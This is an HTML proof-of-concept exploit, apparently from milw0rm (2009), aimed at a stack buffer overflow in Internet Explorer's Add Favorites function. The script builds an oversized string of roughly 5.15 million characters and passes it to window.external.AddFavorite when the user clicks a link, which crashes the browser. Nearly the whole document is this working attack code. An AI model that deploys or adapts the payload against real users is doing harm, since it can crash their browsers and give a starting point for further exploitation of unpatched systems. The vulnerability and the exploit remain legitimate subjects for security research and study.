46 lines
No EOL
875 B
HTML
46 lines
No EOL
875 B
HTML
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IE Add Favourites Stack Buffer Overflow POC
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Sberry, Compaq
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------------------------------------------->
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<html>
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<head>
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<script language="JavaScript" type="Text/Javascript">
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function go()
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{
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var str =unescape('%u4141');
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var finalstr = createInlineBuffer(str, 5150000);
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var len = finalstr.length;
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document.write(len);
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addfav(finalstr);
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}
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/* Effient in-line creation */
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function createInlineBuffer (str, num) {
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var i = Math.ceil(Math.log(num) / Math.LN2),
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res = str;
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do {
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res += res;
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} while (0 < --i);
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return res.slice(0, str.length * num);
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}
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/* Vulnerable Function */
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function addfav(str)
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{
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if (document.all)
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{
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window.external.AddFavorite
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('http://'+str,'Crash')
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}
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}
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</script>
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</head>
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<body>
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<a href="javascript:go()">Add To Favorites</a>
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</body>
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</html>
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# milw0rm.com [2009-07-09] |